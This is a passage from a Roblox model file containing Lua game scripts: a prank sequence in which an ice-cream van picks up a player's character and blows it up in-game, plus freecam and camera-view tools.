--  &#149; Vehicle template  :  workspace.IcecreamVan
--  &#149; Target character  :  workspace.Player
--  &#149; Starts automatically 4 s after script runs
----------------------------------------------------------------


local function waitForChild(parent, name)
    local child = parent:FindFirstChild(name)
    while not child do
        wait(0.1)  -- yield a heartbeat
        child = parent:FindFirstChild(name)
    end
    return child
end

-- ---------------- CONFIGURATION ----------------
-- Negative = lower the vehicle; positive = raise it
local verticalOffset = -2 

-- ---------------- REFERENCES ----------------
--local target = workspace:FindFirstChild(&quot;Player&quot;)
local target = script.Value.Value
local vanSrc = waitForChild(game.Lighting, &quot;IcecreamVan&quot;)
if not (target and vanSrc) then
    print(&quot;Missing Player or IcecreamVan; aborting.&quot;)
    return
end

-- ----------- RECURSIVE PARTS / OFFSET HELPERS -----------
local function collectParts(model, list)
    for _, c in ipairs(model:children()) do
        if c:isA(&quot;BasePart&quot;) then
            table.insert(list, c)
        else
            collectParts(c, list)
        end
    end
end

local function offsetModel(model, deltaCF)
    local parts = {}
    collectParts(model, parts)
    for _, p in ipairs(parts) do
        p.CFrame = deltaCF * p.CFrame
    end
end

-- --------------- 1) HIDE &amp; PREPARE VICTIM ---------------
local victim = target
local head   = victim:FindFirstChild(&quot;Head&quot;) or victim:FindFirstChild(&quot;Torso&quot;)
if not head then print(&quot;No head/torso on Player; abort.&quot;) return end
for _, p in ipairs(victim:children()) do
	if p:isA(&quot;Humanoid&quot;) then p.WalkSpeed = 0 end
    if p:IsA(&quot;BasePart&quot;) then p.Anchored = true end
end

-- --------------- 2) SPAWN &amp; ORIENT VAN ---------------
local van = vanSrc:Clone()
van.Parent = workspace
for _, p in ipairs(van:children()) do
    if p:IsA(&quot;BasePart&quot;) then p.Anchored = true end
end

local Debris = game:GetService(&quot;Debris&quot;)
Debris:AddItem(van, 50)

local door = van:findFirstChild(&quot;VanDoor&quot;) 
            and van.VanDoor:findFirstChild(&quot;Part1&quot;)
if not door then print(&quot;Missing VanDoor.Part1; abort.&quot;) van:remove() return end

-- incorporate verticalOffset here:
local desiredDoorCF = head.CFrame
    * CFrame.new(-210, 3 + verticalOffset, -4)
    * CFrame.Angles(0, math.rad(90), 0)

local delta = desiredDoorCF * door.CFrame:inverse()
offsetModel(van, delta)

-- ---------- 3) DRIVE TOWARD PLAYER UNTIL DOOR2 CLOSE ----------
local driveTime  = 14
local distance   = 400
local steps      = 140
local stepDist   = distance / steps
local forwardDir = -door.CFrame.lookVector

local stopRadius = 4.38
local stopDelay  = 1

local arrivedStep
for i = 1, steps do
    offsetModel(van, CFrame.new(
        forwardDir.X * stepDist,
        forwardDir.Y * stepDist,
        forwardDir.Z * stepDist
    ))
    wait(driveTime / steps)

    local d2 = van.VanDoor.Part1.CFrame.p
    local hp = head.CFrame.p
    if (d2 - hp).magnitude &lt;= stopRadius then
        wait(stopDelay)
        arrivedStep = i
        break
    end
end

-- ----------- 4) OPEN DOORS &amp; LOAD VICTIM -----------
van.VanDoor.Part1.Transparency = 1
van.VanDoor.Part2.Transparency = 1
wait(1)

local clownHead = van:findFirstChild(&quot;Clown&quot;)
                 and van.Clown:findFirstChild(&quot;Head&quot;)
if clownHead then
    local baseCF = clownHead.CFrame 
        * CFrame.new(0,0,-2.5) 
        * CFrame.Angles(0, math.rad(180), 0)
    local refCF  = head.CFrame
    for _, p in ipairs(victim:children()) do
        if p:IsA(&quot;BasePart&quot;) then
            p.CFrame = baseCF * (refCF:inverse() * p.CFrame)
        end
    end
end

for _, h in ipairs(victim:children()) do
    if h.className == &quot;Hat&quot; then h:remove() end
end

wait(1)
van.VanDoor.Part1.Transparency = 0
van.VanDoor.Part2.Transparency = 0
victim.Parent = van

-- ---------- 5) CONTINUE DRIVING ----------
if arrivedStep then
    for j = arrivedStep + 1, steps do
        offsetModel(van, CFrame.new(
            forwardDir.X * stepDist,
            forwardDir.Y * stepDist,
            forwardDir.Z * stepDist
        ))
        wait(driveTime / steps)
    end
end

-- --------- 6) SCARE &amp; EXPLODE ---------
wait()
local arm = van:findFirstChild(&quot;Clown&quot;)
         and van.Clown:findFirstChild(&quot;Right Arm&quot;)
if arm then
    arm.CFrame = arm.CFrame * CFrame.fromEulerAnglesXYZ(
        math.rad(45), 0, 0
    )
end

if van:findFirstChild(&quot;Doll&quot;) then
    for _, bp in ipairs(van.Doll:children()) do
        if bp:IsA(&quot;BasePart&quot;) then bp.Transparency = 0 end
    end
end

wait(1.5)
if victim:findFirstChild(&quot;Head&quot;) and victim.Head:findFirstChild(&quot;face&quot;) then
local face = victim:findFirstChild(&quot;Head&quot;)
          and victim.Head:findFirstChild(&quot;face&quot;)
if face then
    face.Texture = &quot;http://www.roblox.com/Asset/?id=288918236&quot;
end
end

wait(2.5)
local boom = Instance.new(&quot;Explosion&quot;)
if victim:findFirstChild(&quot;Head&quot;) or victim:findFirstChild(&quot;Torso&quot;) then
boom.Position = (victim:findFirstChild(&quot;Head&quot;)
    or victim:findFirstChild(&quot;Torso&quot;)).Position
boom.Parent   = workspace
end

-- --------- 7) CLEAN-UP ---------
wait(5)
van:remove()
victim:remove()
target.Parent = workspace

print(&quot;Mission Success&quot;)
</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX73">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX74">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">L2012fc</string>
					<ProtectedString name="Source">-- LocalScript for freecam in Roblox 2013+ (no HopperBin)


local Players = game:GetService(&quot;Players&quot;)
local plr     = Players.LocalPlayer
local camera  = workspace.CurrentCamera

-- save original camera settings
local origCamType, origCamSubject = camera.CameraType, camera.CameraSubject

-- movement state
local dir       = {f=0,b=0,l=0,r=0,u=0,d=0}
local boost, slow = false, false
local running    = false
local loopCo, downConn, upConn
local currentMouse

-- clone state
local cloneModel, cloneHead, cloneHum

-- original humanoid speed
local originalHum, origWalkSpeed

-- tuning constants
local BASE_STEP  = 1
local BOOST_MULT = 2
local SLOW_MULT  = 0.5

-- read Speed NumberValue under this LocalScript, minimum 0.1
local function baseMult()
    local v = script:findFirstChild(&quot;Speed&quot;)
    if v and v:isA(&quot;NumberValue&quot;) then
        return (v.Value &lt; 0.1) and 0.1 or v.Value
    end
    return 1
end

local function stepSize()
    local m = BASE_STEP * baseMult()
    if boost then m = m * BOOST_MULT end
    if slow  then m = m * SLOW_MULT  end
    return m
end

-- get horizontal forward/right from camera
local function flatForward()
    local lv = camera.CoordinateFrame.lookVector
    local f  = Vector3.new(lv.x,0,lv.z)
    return (f.magnitude&gt;0) and f.unit or Vector3.new(0,0,-1)
end
local function flatRight()
    local f = flatForward()
    return Vector3.new(-f.z,0,f.x)
end

-- move the clone head each frame
local function startLoop()
    if loopCo and coroutine.status(loopCo)~=&quot;dead&quot; then return end
    loopCo = coroutine.create(function()
        while running and cloneHead do
            wait()
            local s      = stepSize()
            local forward= flatForward() * dir.f
            local back   = flatForward() * -dir.b
            local right  = flatRight()   * dir.r
            local left   = flatRight()   * -dir.l
            local upv    = Vector3.new(0,1,0) * dir.u
            local downv  = Vector3.new(0,1,0) * -dir.d
            local delta  = (forward+back+right+left+upv+downv) * s
            if delta.magnitude &gt; 0 then
                cloneHead.CFrame = cloneHead.CFrame + delta
            end
        end
    end)
    coroutine.resume(loopCo)
end

-- forward declarations
local function startFreecam() end
local function stopFreecam() end

-- reference the Disable flag
wait()
local disableVal = script:findFirstChild(&quot;Disable&quot;)
if not (disableVal and disableVal:isA(&quot;BoolValue&quot;)) then
   print(&quot;Freecam script expects a BoolValue named &apos;Disable&apos; under the script.&quot;)
end

-- whenever Disable is set true, exit freecam
if disableVal then
    disableVal.Changed:connect(function()
        if disableVal.Value then
            stopFreecam()
        end
    end)
end

-- start freecam: clone head &amp; humanoid, freeze player, prepare movement
function startFreecam()
    if running then return end
    -- reset flag so we can toggle again later
    if disableVal then disableVal.Value = false end

    local char = plr.Character
    if not char then return end

    -- freeze real humanoid
    originalHum = char:findFirstChild(&quot;Humanoid&quot;)
    if originalHum then
        origWalkSpeed         = originalHum.WalkSpeed
        originalHum.WalkSpeed = 0
    end

    -- clone head + humanoid only
    char.Archivable = true
    cloneModel     = char:clone()
    cloneModel.Name= plr.Name..&quot;FreeCam&quot;
    for _,v in ipairs(cloneModel:children()) do
        if not (v:isA(&quot;Humanoid&quot;) or v.Name==&quot;Head&quot;) then
            v:Remove()
        end
    end

    cloneHead = cloneModel:findFirstChild(&quot;Head&quot;)
    cloneHum  = cloneModel:findFirstChild(&quot;Humanoid&quot;)
    if not (cloneHead and cloneHum) then
        cloneModel:Remove()
        return
    end

    -- invisible clone head, remove decals
    cloneHead.Transparency = 1
    for _,d in ipairs(cloneHead:children()) do
        if d.className == &quot;Decal&quot; then d:Remove() end
    end

    cloneHead.Anchored     = true
    cloneHead.CanCollide   = false
    cloneHum.PlatformStand = true

    cloneHead.CFrame       = camera.CoordinateFrame
    cloneModel.Parent      = workspace

    camera.CameraType      = &quot;Track&quot;
    camera.CameraSubject = cloneHead


    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
    running = true
    startLoop()
end

-- stop freecam: restore camera, unfreeze, clean up clone
function stopFreecam()
    if not running then return end
    running = false

    -- remove clone
    if cloneModel then
        cloneModel:Remove()
        cloneModel, cloneHead, cloneHum = nil, nil, nil
    end

    -- restore camera
    camera.CameraType    = &quot;Custom&quot;
    local realHum = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    camera.CameraSubject = realHum or origCamSubject

    -- restore humanoid speed
    if originalHum and origWalkSpeed then
        originalHum.WalkSpeed = origWalkSpeed
    end

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
end

-- toggle freecam with F and handle movement keys
local function onKeyDown(key)
    local k = key:lower()
    if k == &quot;f&quot; then
        if running then
            -- signal to exit via BoolValue
            if disableVal then disableVal.Value = true end
        else
            startFreecam()
        end
        return
    end
    if      k==&quot;w&quot; then dir.f=1
    elseif  k==&quot;s&quot; then dir.b=1
    elseif  k==&quot;a&quot; then dir.l=1
    elseif  k==&quot;d&quot; then dir.r=1
    elseif  k==&quot;q&quot; then dir.d=1
    elseif  k==&quot;e&quot; then dir.u=1 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = true
    elseif c == 50 then   -- Ctrl
        slow = true
    end
end

local function onKeyUp(key)
    local k = key:lower()
    if      k==&quot;w&quot; then dir.f=0
    elseif  k==&quot;s&quot; then dir.b=0
    elseif  k==&quot;a&quot; then dir.l=0
    elseif  k==&quot;d&quot; then dir.r=0
    elseif  k==&quot;q&quot; then dir.d=0
    elseif  k==&quot;e&quot; then dir.u=0 end

    local c = key:byte()
    if c == 48 then boost = false
    elseif c == 50 then slow = false
    end
end

-- grab the player&apos;s mouse and bind input
currentMouse = plr:GetMouse()
downConn = currentMouse.KeyDown:connect(onKeyDown)
upConn   = currentMouse.KeyUp:connect(onKeyUp)

-- start freecam immediately
startFreecam()
</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX75">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Speed</string>
						<double name="Value">1</double>
					</Properties>
				</Item>
				<Item class="BoolValue" referent="RBX76">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Disable</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="HopperBin" referent="RBX77">
				<Properties>
					<bool name="Active">false</bool>
					<bool name="Archivable">true</bool>
					<token name="BinType">0</token>
					<string name="Name">Freecam</string>
					<Content name="TextureId"><null></null></Content>
				</Properties>
				<Item class="LocalScript" referent="RBX78">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">LocalScript</string>
						<ProtectedString name="Source">-- LocalScript ? HopperBin (StarterPack)

local bin     = script.Parent
assert(bin and bin.className == &quot;HopperBin&quot;, &quot;Must be inside a HopperBin&quot;)

local Players = game:GetService(&quot;Players&quot;)
local plr     = Players.LocalPlayer
local camera  = workspace.CurrentCamera

-- external toggle flag
wait(0.3)
local disableFlag = script:findFirstChild(&quot;Disable&quot;)
if not disableFlag then
    disableFlag       = Instance.new(&quot;BoolValue&quot;)
    disableFlag.Name  = &quot;Disable&quot;
    disableFlag.Value = false
    disableFlag.Parent= script
end

-- save original camera settings
local origCamType, origCamSubject = camera.CameraType, camera.CameraSubject

-- movement state
local dir       = {f=0,b=0,l=0,r=0,u=0,d=0}
local boost, slow = false, false
local running    = false
local loopCo, downConn, upConn
local currentMouse

-- clone state
local cloneModel, cloneHead, cloneHum

-- original humanoid speed
local originalHum, origWalkSpeed

-- tuning constants
local BASE_STEP  = 1
local BOOST_MULT = 2
local SLOW_MULT  = 0.5

-- read Speed NumberValue under this LocalScript, minimum 0.1
local function baseMult()
    local v = script:findFirstChild(&quot;Speed&quot;)
    if v and v:isA(&quot;NumberValue&quot;) then
        return (v.Value &lt; 0.1) and 0.1 or v.Value
    end
    return 1
end

local function stepSize()
    local m = BASE_STEP * baseMult()
    if boost then m = m * BOOST_MULT end
    if slow  then m = m * SLOW_MULT  end
    return m
end

-- get horizontal forward/right from camera
local function flatForward()
    local lv = camera.CoordinateFrame.lookVector
    local f  = Vector3.new(lv.x,0,lv.z)
    return (f.magnitude&gt;0) and f.unit or Vector3.new(0,0,-1)
end
local function flatRight()
    local f = flatForward()
    return Vector3.new(-f.z,0,f.x)
end

-- move the clone head each frame
local function startLoop()
    if loopCo and coroutine.status(loopCo)~=&quot;dead&quot; then return end
    loopCo = coroutine.create(function()
        while running and cloneHead do
            wait()
            local s      = stepSize()
            local forward= flatForward() * dir.f
            local back   = flatForward() * -dir.b
            local right  = flatRight()   * dir.r
            local left   = flatRight()   * -dir.l
            local upv    = Vector3.new(0,1,0) * dir.u
            local downv  = Vector3.new(0,1,0) * -dir.d
            local delta  = (forward+back+right+left+upv+downv) * s
            if delta.magnitude &gt; 0 then
                cloneHead.CFrame = cloneHead.CFrame + delta
            end
        end
    end)
    coroutine.resume(loopCo)
end

-- start freecam: clone head &amp; humanoid, freeze player, prepare movement
local function startFreecam()
    if running or not currentMouse then return end
    local char = plr.Character
    if not char then return end

    -- freeze real humanoid
    originalHum = char:findFirstChild(&quot;Humanoid&quot;)
    if originalHum then
        origWalkSpeed         = originalHum.WalkSpeed
        originalHum.WalkSpeed = 0
    end

    -- clone head + humanoid only
    char.archivable = true
    cloneModel      = char:clone()
    cloneModel.Name = plr.Name..&quot;FreeCam&quot;
    for _,v in ipairs(cloneModel:children()) do
        if not (v:isA(&quot;Humanoid&quot;) or v.Name==&quot;Head&quot;) then
            v:Remove()
        end
    end

    cloneHead = cloneModel:findFirstChild(&quot;Head&quot;)
    cloneHum  = cloneModel:findFirstChild(&quot;Humanoid&quot;)
    if not (cloneHead and cloneHum) then
        if cloneModel then cloneModel:Remove() end
        return
    end

    -- invisible clone head, remove decals
    cloneHead.Transparency = 1
    for _,d in ipairs(cloneHead:children()) do
        if d.className == &quot;Decal&quot; then d:Remove() end
    end

    cloneHead.Anchored     = true
    cloneHead.CanCollide   = false
    cloneHum.PlatformStand = true

    cloneHead.CFrame       = camera.CoordinateFrame
    cloneModel.Parent      = workspace

    camera.CameraType      = &quot;Track&quot;
    camera.CameraSubject   = cloneHum

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
    running = true
    startLoop()
end

-- stop freecam: restore camera, unfreeze, clean up clone
local function stopFreecam()
    if not running then return end
    running = false

    -- remove clone
    if cloneModel then
        cloneModel:Remove()
        cloneModel, cloneHead, cloneHum = nil, nil, nil
    end

    -- restore camera
    camera.CameraType    = &quot;Custom&quot;
    local realHum = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    camera.CameraSubject = realHum or origCamSubject

    -- restore humanoid speed
    if originalHum and origWalkSpeed then
        originalHum.WalkSpeed = origWalkSpeed
    end

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
end

-- react to external Disable flag
local function onDisableChanged(val)
    if val == true or val == &quot;true&quot; then
        if running then stopFreecam() end
    else
        if not running and currentMouse then startFreecam() end
    end
end
disableFlag.Changed:connect(onDisableChanged)

-- toggle freecam with F
local function onKeyDown(key)
    local k = key:lower()
    if k == &quot;f&quot; then
        if running then
            stopFreecam()
            if disableFlag.Value == false then disableFlag.Value = true end
        else
            startFreecam()
            if disableFlag.Value == true then disableFlag.Value = false end
        end
        return
    end
    if      k == &quot;w&quot; then dir.f = 1
    elseif  k == &quot;s&quot; then dir.b = 1
    elseif  k == &quot;a&quot; then dir.l = 1
    elseif  k == &quot;d&quot; then dir.r = 1
    elseif  k == &quot;q&quot; then dir.d = 1
    elseif  k == &quot;e&quot; then dir.u = 1 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = true
    elseif c == 50 then   -- Ctrl
        slow = true
    end
end

local function onKeyUp(key)
    local k = key:lower()
    if      k == &quot;w&quot; then dir.f = 0
    elseif  k == &quot;s&quot; then dir.b = 0
    elseif  k == &quot;a&quot; then dir.l = 0
    elseif  k == &quot;d&quot; then dir.r = 0
    elseif  k == &quot;q&quot; then dir.d = 0
    elseif  k == &quot;e&quot; then dir.u = 0 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = false
    elseif c == 50 then   -- Ctrl
        slow = false
    end
end

-- bind on equip
bin.Selected:connect(function(mouse)
    currentMouse = mouse
    downConn = mouse.KeyDown:connect(onKeyDown)
    upConn   = mouse.KeyUp:connect(onKeyUp)
    startFreecam()
    disableFlag.Value = false
end)

-- bind on unequip
bin.Deselected:connect(function()
    stopFreecam()
    disableFlag.Value = true
    if downConn then downConn:disconnect() end
    if upConn   then upConn:disconnect()   end
    currentMouse = nil
end)
</ProtectedString>
					</Properties>
					<Item class="NumberValue" referent="RBX79">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Speed</string>
							<double name="Value">1</double>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX80">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Disable</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX81">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">view</string>
					<ProtectedString name="Source">wait()
local target = script.Target
local dis = script.Disable
local cam = workspace.Camera
local lp = game.Players.LocalPlayer.Character.Humanoid

dis.Changed:connect(function()
if dis.Value then
cam.CameraSubject = lp
else
cam.CameraSubject = target.Value
end
end)

target.Changed:connect(function()
cam.CameraSubject = target.Value
end)

cam.CameraSubject = target.Value</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX82">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Disable</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
				<Item class="ObjectValue" referent="RBX83">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">Target</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
</roblox>